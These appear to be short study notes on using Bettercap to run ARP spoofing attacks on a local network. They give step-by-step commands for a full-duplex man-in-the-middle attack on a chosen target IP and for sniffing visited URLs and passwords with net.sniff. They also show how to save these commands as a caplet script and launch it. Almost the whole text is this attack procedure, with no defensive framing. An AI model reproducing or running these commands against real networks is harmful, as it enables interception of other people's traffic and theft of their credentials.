ARP Spoofing using Bettercap

* Framework to run network attacks
* Can be used to:
  + ARP Spoof targets (redirect the flow of packets)
  + Sniff data (URLs, Username, Passwords)
  + Bypass HTTPS.
  + Redirect domain requests (DNS Spoofing)
  + Inject code in loaded pages

“bettercap -iface [interface]”

ARP Spoof with bettercap:

* Net.show (shows all computers connected to the same network)
* Set arp.spoof.fullduplex true (man in the middle attack)
* Ste arp.spoof.targets [ip of target] (can get from net.show or zenmap etc)
* Arp.spoof on

Spying on network devices (capturing passwords, visited websites etc)

* Net.sniff module
* Net.sniff on

Creating a custom spoofing script:

* Open a text file
* Start typing all commands starting with the first command necessary
  + Net.probe on
  + Set arp.spoof.fullduplex true
  + Set arp.spoof.targets [targets ip]
  + Arp.spoof on
  + Net.sniff on
* Put in root directory (save as spoof.cap)
* Run better cap
  + Bettercap -iface [interface] -caplet spoof.cap